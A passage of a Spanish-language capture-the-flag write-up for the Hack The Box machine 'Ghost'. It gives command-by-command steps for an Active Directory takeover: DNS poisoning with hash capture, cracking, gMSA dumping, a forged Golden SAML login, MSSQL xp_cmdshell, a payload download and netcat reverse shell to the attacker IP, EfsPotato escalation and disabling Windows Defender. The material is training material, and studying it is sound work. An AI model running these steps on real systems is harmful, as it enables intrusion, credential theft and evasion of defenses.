Podemos así subir el binario de la herramienta pspy (descargable desde su repositorio de Github) al container para ver procesos corriendo de fondo. Realizando esto eventualmente retorna:

root@36b733906694:/app# chmod +x /tmp/pspy64

root@36b733906694:/app# /tmp/pspy64

<SNIP>
2024/09/29 09:34:01 CMD: UID=0     PID=1576   | runc init
2024/09/29 09:34:01 CMD: UID=0     PID=1581   | sshpass -p xxxxxxxxxxxxxxxx ssh -o StrictHostKeyChecking no florence.ramirez@ghost.htb@dev-workstation echo 'uxLmt*udNc6t3HrF' | kinit
<SNIP>

Tenemos el texto uxLmt*udNc6t3HrF el cual parece ser una contraseña para el usuario florence.ramirez.

Revisamos si esta contraseña es válida a través de, por ejemplo, SMB para el servicio con NetExec:

❯ nxc smb 10.10.11.24 -u 'florence.ramirez'  -p 'uxLmt*udNc6t3HrF'

SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\florence.ramirez:uxLmt*udNc6t3HrF

Son válidas. Tenemos credenciales: florence.ramirez:uxLmt*udNc6t3HrF.

Estas credenciales son válidas para el servicio MSSQL también. Pero intentar ganar ejecución de comandos a través de este usuario para este servicio es inútil, no se puede.

De vuelta a la página de intranet, hay una pestaña llamada Forum. Clickeando en ésta muestra:

Ghost 11

Parece haber una tarea o script ejecutándose sobre el subdominio bitbucket.ghost.htb y realizando algún tipo de petición hacia éste.

Dado que ahora tenemos credenciales en el dominio, podemos intentar modificar los records de DNS en el entorno AD usando la herramienta dnstool.py (la cual puede ser descargada desde el repositorio de krbrelayx). Lo que haremos con esto será tratar de manipular los records DNS hacia nuestra máquina de atacantes. De esta manera, cuando la máquina víctima haga una petición hacia el subdominio bitbucket.ghost.htb, el servidor estará realizando sin querer una petición (posiblemente de autenticación, dependiendo del protocolo que se use) hacia nuestra máquina de atacantes; petición la cual podremos interceptar con una herramienta como Responder. Podemos realizar este ataque ejecutando en una terminal:

❯ python3 dnstool.py -u 'ghost.htb\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -a add -r "bitbucket.ghost.htb" -t A -d 10.10.16.3 10.10.11.24

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Donde 10.10.16.3 es nuestra IP de atacantes y 10.10.11.24 la IP del DC (IP de la máquina víctima corriendo el servicio DNS, con el puerto 53 abierto).

Podemos revisar si la modificación de records de DNS ha funcionado usando una herramienta como nslookup:

❯ nslookup bitbucket.ghost.htb 10.10.11.24

Server:         10.10.11.24
Address:        10.10.11.24#53

Name:   bitbucket.ghost.htb
Address: 10.10.16.3

Nuestra IP de atacantes está allí. Vemos cómo el subdominio bitbucket.ghost.htb resuelve a nuestra IP de atacantes.

Podemos interceptar potenciales credenciales usando Responder:

❯ sudo responder -I tun0 wvd

<SNIP>

[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:e24e7edcdaff42cb:58C96CA696D155478B196604E834493C:0101000000000000568D64B8A917DB0143F1DE628EF8A3DA0000000002000800390035004800330001001E00570049004E002D005200570047005200430044005800350056004D0036000400140039003500480033002E004C004F00430041004C0003003400570049004E002D005200570047005200430044005800350056004D0036002E0039003500480033002E004C004F00430041004C000500140039003500480033002E004C004F00430041004C0008003000300000000000000000000000004000000320FFF67FCC88ADACADC251526E68ED6F83B404C5293EF5938DC0FA16ABEC800A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

Obtenemos un hash NTLMv2 para el usuario justin.bradley.

Intentamos un Brute Force Password Cracking con john para crackear este hash:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt justin_bradley_hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwertyuiop1234$$ (justin.bradley)
1g 0:00:00:18 DONE (2024-10-06 01:55) 0.05265g/s 564035p/s 564035c/s 564035C/s R5TXer12..Queenruma
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Tenemos credenciales: justin.bradley:Qwertyuiop1234$$.

Estas credenciales también son válidas para los servicios SMB y MSSQL, pero no encontramos nada nuevo. Volviendo a la página de login de federation.ghost.htb (el sitio HTTPs corriendo en el puerto 8443) y usando estas credenciales obtenemos un mensaje:

Ghost 12

Parece ser que sólo el usuario Administrator puede loguearse en este servicio. Obtenemos exactamente el mismo mensaje si usamos las otras credenciales halladas. Ya volveremos a este sitio.

Por último, revisamos si estas credenciales son válidas para el servicio WinRM:

❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'

WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)

Lo son.

Podemos usar evil-winrm para conectarnos como este usuario:

❯ evil-winrm -u 'justin.bradley' -p 'Qwertyuiop1234$$' -i ghost.htb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents>

Podemos obtener la flag de usuario en el Desktop del usuario justin.bradley.


NT Authority/System - Administrator Link to heading

Notamos que este usuario es parte dle grupo IT:

*Evil-WinRM* PS C:\Users\justin.bradley\Documents> net user justin.bradley

User name                    justin.bradley
Full Name                    Justin Bradley
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/1/2024 3:48:11 PM
Password expires             Never
Password changeable          2/2/2024 3:48:11 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/5/2024 10:02:55 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *IT
The command completed successfully.

Usamos bloodhound-python para extraer información sobre el dominio. El extraer la información obtenemos un mensaje de error, pero no es un error fatal; sino más bien sólo una advertencia:

❯ bloodhound-python -c ALL -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d ghost.htb -ns 10.10.11.24

INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
<SNIP>
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb.
INFO: Done in 00M 59S

linux-dev-ws01.ghost.htb es probablemente el FQDN para el container corriendo Ghost CMS; pero, afortunadamente, no es importante para en análisis del dominio en sí. Por lo que podemos continuar.

Subimos los archivos generados a Bloodhound y buscamos por nuestro usuario justin.bradley. Yendo a la pestaña de Node Info, y luego a First Degree Object notamos que este usuario tiene derechos/permisos sobre otro usuario:

Ghost 13

justin.bradley tiene el permiso ReadGMSAPassword sobre el usuario ADFS_GMSA$. Basados en la ayuda de Bloodhound acerca de cómo abusar este permiso, tenemos:

Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval (check the MSDS-ManagedPasswordInterval attribute).

The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

Podemos usar la herramienta GMSADumper (que puede ser obtenida desde su repositorio de Github). Primero, creamos un entorno virtual con Python (que llamaré gmsa_env en mi caso) e instalamos en éste todas las dependencias necesarias para ejecutar la herramienta:

❯ git clone https://github.com/micahvandeusen/gMSADumper.git
<SNIP>

❯ python3 -m venv gmsa_env

❯ source gmsa_env/bin/activate

❯ pip3 install -r requirements.txt
<SNIP>

Luego, ejecutamos esta herramienta usando las credenciales de justin.bradley:

❯ python3 gMSADumper.py -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d 'ghost.htb' -l 'dc01.ghost.htb'

Users or groups who can read password for adfs_gmsa$:
 > DC01$
 > justin.bradley
adfs_gmsa$:::4233c732e277554e44dbd82a890da314
adfs_gmsa$:aes256-cts-hmac-sha1-96:9113f810febea8804636a36dee3421edd523c89568f69006d0d622eb909dab5b
adfs_gmsa$:aes128-cts-hmac-sha1-96:0837c07388e02cd3da5b4fcaf6c84961

La primera línea retorna el hash NT del usuario adfs_gmsa$. Revisamos si este hash es válido para un Pass The Hash con la herramienta NetExec:

❯ nxc smb 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'

SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\adfs_gmsa$:4233c732e277554e44dbd82a890da314

Funciona. Es válido.

Tenemos acceso a la cuenta adfs_gmsa$. Como mencionamos en el inicio de este WriteUp, ADFS es el acrónimo de Active Directory Federation Services, el cual es usado para extender Active Directory a aplicaciones en la nube y otros dispositivos. Buscando qué es lo que podríamos hacer con esta cuenta encontramos esta página explicando cómo performar un Golden SAML Attack (más información sobre este ataque aquí). La página divide el ataque en partes. Ya hemos realizado el Step 1 (obtener credenciales del usuario ADFS). Mirando el Step 2, ahora necesitamos acceder a la información para forjar un SAML token. Allí se menciona que para esto deberíamos de usar la herramienta ADFSDump (la cual puede ser obtenida desde su repositorio de Github). Sin embargo, allí no se da un archivo .exe pre-compilado; por lo que en mi caso usaré este binario pre-compilado para ADFSDump.exe. Basados en Bloodhound, el usuario adfs_fmsa$ tiene acceso a través de WinRM, por lo que usamos esta cuenta para loguearnos través de aquel servicio y subimos el binario de ADFSDump:

❯ evil-winrm -i 10.10.11.24 -u 'adfs_gmsa$' -H '4233c732e277554e44dbd82a890da314'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/exploits/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe

Data: 40276 bytes of 40276 bytes copied

Info: Upload successful!

Una vez subido, ejecutamos ADFSDump.exe:

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1


## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIA
<SNIP>
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Este output contiene bastante información importante que usaremos a continuación.

La página dice que necesitamos guardar los valores de DKM key y TKS key (Token Signed key). Lo curioso es que aquí obtenemos 2 DKM key (o Private Key en el output). Por lo que guardamos ambas DKM keys en nuestra máquina de atacantes como DKMKey1.txt y DKMKey2.txt; además de guardar el Token Signed key como TKSKey.txt:

❯ cat DKMKey1.txt
FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7

❯ cat DKMKey2.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

❯ cat TKSKey.txt
AAAAAQAAAAA<SNIP>BN/BEsNEUSTXxm

Yendo al Step 3 de la página, TKS Key necesita ser decodeado de base64; mientras que DKMKey necesita ser pasado a valores hexadecimales:

❯ cat TKSKey.txt | base64 -d > TKSKey.bin

❯ cat DKMKey1.txt | tr -d "-" | xxd -r -p > DKMkey1.bin

❯ cat DKMKey2.txt | tr -d "-" | xxd -r -p > DKMkey2.bin

Podemos entonces usar una herramienta como ADFSpoof (la cual puede ser descargada desde su repositorio de Github) en nuestra máquina de atacantes para forjar un Golden SAML token. Ahora bien, la única cosa que es “diferente” de la página guía es que nosotros no queremos solicitar un token para Microsoft Office 365 (módulo o365 en ADFSpoof), queremos el módulo saml2 para una petición SAML “custom”. Podemos tratar de forjar el token SAML basados en este blog.

Adicionalmente, del output de ADFSDump, podemos ver que éste nos dice todo lo necesario para ejecutar el ataque:

  1. Un endpoint (https://core.ghost.htb:8443/adfs/saml/postResponse)
  2. Un domain/server (core.ghost.htb)
  3. Y un Identifier (https://core.ghost.htb:8443).

Usando la primera Private Key (DKMkey1.bin) no funciona:

❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey1.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/
/_/  |_/_____/_/    /____/ .___/\____/\____/_/
                        /_/

A tool to for AD FS security tokens
Created by @doughsec

Calculated MAC did not match anticipated MAC
Calculated MAC: b'pp\xcc\x9f\x07\x1e_\x99\xdc\xda3\xc1=t\xb8\xb7\xad\xc8\x8e\x95\x9c\xb1\x9a\x91\x00\x8a\x03L\\\x84\xe3\xb8'
Expected MAC: b'O\x83av\x7f\x00\xff\xcc= \xeb\nB\xcaT\xfc\xa2\xa7\xbcCz\xf0M\xfc\x11,4E\x12M|f'

Pero usando la segunda (DKMkey2.bin) sí lo hace:

❯ python3 ADFSpoof.py -b TKSKey.bin DKMkey2.bin --server 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --rpidentifier 'https://core.ghost.htb:8443' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

<SNIP>
ZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D

Notamos 2 cosas: este payload está urlencodeado y, por lo mismo, éste tiene un tamaño (length) de 6513 (que sale de url decodear el payload y contar sus carácteres con wc -c). Así, yendo a https://core.ghost.htb, empezamos Burpsuite e interceptamos la petición enviada cuando recargamos la página (no cuando clickeamos en el botón Federation). Hacemos esto dado que queremos enviar la petición al sitio https://core.ghost.htb:8443 en lugar del sitio federation.ghost.htb. Modificamos esta petición para cambiar el método a POST al endpoint especificado por ADFSDump (/adfs/saml/postResponse); además de cambiar el Content-Type a x-www-form-urlencoded y especificar el tamaño del contenido 6513 (el tamaño del payload urldecodeado con ADFSpoof):

POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Referer: https://core.ghost.htb:8443/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6581

SAMLResponse=PHNhbWx<SNIP>nNlPg%3D%3D

Ghost 18

Clickeando en Forward funciona. Bypasseamos el login ya que nos hacemos pasar por el usuario Administrator. Estamos dentro y podemos ver lo que parece un panel de MSSQL:

Ghost 14

Yendo directo al grano, podemos ver 2 servidores linkeados a este servicio:

Ghost 15

Uno llamado DC01 y otro llamado PRIMARY.

Actualmente estamos en DC01:

Ghost 16

El comando use_link no está disponible, por lo que podemos usar el comando EXEC AT para ejecutar comandos en otro servidor como PRIMARY. Por ejemplo:

EXEC ('SELECT @@SERVERNAME') AT [PRIMARY];

Revisamos si podemos ejecutar comandos como el usuario sa en el servidor PRIMARY:

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"

Ghost 17

Podemos.

Luego, subimos un binario de netcat para Windows a la máquina víctima en una de las rutas dadas por UltimateAppLockerByPassList; el cual, luego de algunas pruebas, termina funcionando con la ruta C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys) y usamos PowerShell para descargar el binario allí:

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''powershell -command Invoke-WebRequest -Uri http://10.10.16.3:8000/nc64.exe -Outfile C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe''') AT "PRIMARY"

Empezamos un listener con netcat junto rlwrap y nos mandamos una reverse shell:

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe''') AT "PRIMARY"

Obtenemos una shell como el usuario nt service\mssqlserver:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49816
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
nt service\mssqlserver

Revisando permisos de este usuario tenemos:

C:\Windows\system32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\Windows\system32>

Tenemos el privilegio SeImpersonatePrivilege habilitado.

Luego de probar herramientas que abusen de este privilegio, una de ellas funciona: EfsPotato (la cual puede ser descargada desde su repositorio de Github). La máquina tiene Microsoft .NET disponible, por lo que podemos compilar el archivo .cs del repositorio, luego de subirlo, en la máquina víctima. Subimos el archivo EfsPotato (archivo .cs) a la ruta C:\Users\Public\Downloads dado que Microsoft .NET me daba algunos problemas si es que usamos el mismo directorio donde habíamos guardado el binario de nc. Hecho esto, usamos csc.exe para compilar el archivo .cs:

C:\Windows\system32>C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /out:C:\Users\Public\Downloads\EfsPotato.exe C:\Users\Public\Downloads\EfsPotato.cs -nowarn:1691,618

<SNIP>

C:\Windows\system32>dir C:\Users\Public\Downloads

dir C:\Users\Public\Downloads
 Volume in drive C has no label.
 Volume Serial Number is 161D-1BB7

 Directory of C:\Users\Public\Downloads

10/07/2024  12:20 PM    <DIR>          .
01/30/2024  08:28 PM    <DIR>          ..
10/07/2024  12:19 PM            25,441 EfsPotato.cs
10/07/2024  12:20 PM            17,920 EfsPotato.exe
               2 File(s)         43,361 bytes
               2 Dir(s)   4,062,715,904 bytes free

Probando el binario compilado, éste funciona:

C:\Windows\system32>C:\Users\Public\Downloads\EfsPotato.exe "whoami"

C:\Users\Public\Downloads\EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=b8eaa0)
[+] Get Token: 880
[!] process with pid: 1360 created.
==============================
nt authority\system

Por lo que reciclamos el binario de netcat que habíamos usado para ganar acceso mediante el servicio MSSQL para enviarnos otra reverse shell:

C:\Users\Public\Downloads>C:\Users\Public\Downloads\EfsPotato.exe "C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe 10.10.16.3 443 -e cmd.exe"

Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=a1e230)
[+] Get Token: 880
[!] process with pid: 2264 created.
==============================

Obtenemos una shell como nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.24] 49859
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
nt authority\system

Pero sorpresa, si revisamos el Desktop de Administrator, la flag no está allí. Por lo que no hemos terminado:

C:\Windows\system32>dir C:\Users\Administrator\Desktop

dir C:\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 161D-1BB7

 Directory of C:\Users\Administrator\Desktop

07/10/2024  04:19 AM    <DIR>          .
07/03/2024  08:55 AM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   4,062,208,000 bytes free

Esto es porque estamos en una máquina llamada PRIMARY, no en DC01:

C:\Windows\system32>ipconfig /all

ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : PRIMARY
   Primary Dns Suffix  . . . . . . . : corp.ghost.htb
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : corp.ghost.htb
                                       ghost.htb

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Hyper-V Network Adapter
   Physical Address. . . . . . . . . : 00-15-5D-44-3C-01
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.0.0.10(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
   DNS Servers . . . . . . . . . . . : 127.0.0.1
                                       10.0.0.254
   NetBIOS over Tcpip. . . . . . . . : Enabled

Cuando subí algunos binarios para abusar del privilegio SeImpersonatePrivilege y los ejecutaba, notaba que éstos eran eliminados luego de la ejecución. Por lo que revisamos si algún antivirus o sistema de defensa como Windows Defender está corriendo:

C:\Windows\system32>powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"

powershell -command "Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntispywareEnabled, AntivirusEnabled"

AMServiceEnabled RealTimeProtectionEnabled AntispywareEnabled AntivirusEnabled
---------------- ------------------------- ------------------ ----------------
            True                      True               True             True

Está corriendo.

Dado que somos nt authority/system en esta máquina, podemos deshabilitar Windows Defender cambiando de una CMD a una sesión con PowerShell para luego ejecutar:

C:\Windows\system32>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $true

Bajando así el antivirus/Defender.

Subiendo luego scripts como adPEAS (el cual puede ser descargado desde su repositorio de Github), podemos ver que nuestra máquina se llama primary.corp.ghost.htb.

PS C:\Users\Public\Downloads> Import-Module .\adPEAS.ps1
Import-Module .\adPEAS.ps1

PS C:\Users\Public\Downloads> Invoke-adPEAS

<SNIP>
[+] Found domain controller of domain 'corp.ghost.htb':
DC Host Name:                           PRIMARY.corp.ghost.htb
DC Roles:                       PdcRole,RidRole,InfrastructureRole
DC IP Address:                          ::1
Site Name:                              Default-First-Site-Name
<SNIP>

Esto lo podemos ver de igual manera en una sesión con PowerShell y el comando nslookup:

PS C:\Users\Public\Downloads> nslookup primary.corp.ghost.htb

nslookup primary.corp.ghost.htb
Server:  localhost
Address:  127.0.0.1

Name:    primary.corp.ghost.htb
Address:  10.0.0.10

Del escaneo con Bloodhound, y también del escaneo con adPEAS, podemos ver que la máquina DC01.ghost.htb existe. Podemos revisar su dirección usando nuevamente nslookup:

PS C:\Users\Public\Downloads> nslookup dc01.ghost.htb

nslookup dc01.ghost.htb
Non-authoritative answer:
Server:  localhost
Address:  127.0.0.1

Name:    dc01.ghost.htb
Addresses:  10.10.11.24
          10.0.0.254

Notamos así que la máquina PRIMARY está en el dominio corp.ghost.htb (conocido como child) y DC01 está en el dominio ghost.htb.

Por lo que nos encontramos en un forest de Active Directory y necesitamos ganar acceso a la máquina DC01. Dado que en la máquina actual hemos deshabilitado el AMSI (Windows Defender), podemos utilizar herramientas para extraer información del dominio y atacar a éste. Subimos PowerView.ps1 a la máquina víctima, lo importamos y vemos los “trust” entre el dominio child actual y el dominio principal:

PS C:\Users\Public\Downloads> Import-Module .\PowerView.ps1

Import-Module .\PowerView.ps1
PS C:\Users\Public\Downloads> Get-DomainTrust -NET

Get-DomainTrust -NET

SourceName     TargetName   TrustType TrustDirection
----------     ----------   --------- --------------
corp.ghost.htb ghost.htb  ParentChild  Bidirectional

O de igual manera, podemos obtener el mismo resultado ejecutando:

PS C:\Users\Public\Downloads> Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"


SourceName      : corp.ghost.htb
TargetName      : ghost.htb
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 2/1/2024 2:33:33 AM
WhenChanged     : 10/14/2024 2:52:29 AM

SourceName      : ghost.htb
TargetName      : corp.ghost.htb
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
